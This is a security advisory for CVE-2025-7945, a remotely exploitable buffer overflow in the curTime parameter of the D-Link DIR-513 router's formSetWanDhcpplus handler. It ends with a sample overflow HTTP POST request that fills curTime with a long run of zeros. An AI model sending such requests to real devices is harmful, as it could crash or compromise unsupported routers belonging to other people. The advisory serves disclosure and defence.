Overview
A critical vulnerability has been identified in D-Link DIR-513 routers up to the 20190831 version. This vulnerability is associated with the function formSetWanDhcpplus of the file /goform/formSetWanDhcpplus, and the manipulation of the argument ‘curTime’ can lead to a buffer overflow. This flaw is especially alarming as it can be exploited remotely, potentially leading to system compromise or data leakage. It primarily affects products that are no longer supported by D-Link, increasing the risk for users with outdated devices.
Vulnerability Summary
CVE ID: CVE-2025-7945
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
D-Link DIR-513 | Up to 20190831
How the Exploit Works
The vulnerability lies within the function formSetWanDhcpplus of the file /goform/formSetWanDhcpplus. In this function, the ‘curTime’ argument is mishandled, leading to a buffer overflow. An attacker can exploit this flaw by sending a specifically crafted request that manipulates the ‘curTime’ parameter. This could cause the system to overflow its buffer, leading to unexpected behavior, potential system crash, and even execution of arbitrary code. This exploit can be initiated remotely, and it does not require user interaction or privileges.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This consists of a HTTP request with a manipulated ‘curTime’ parameter:
“`http
POST /goform/formSetWanDhcpplus HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
curTime=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000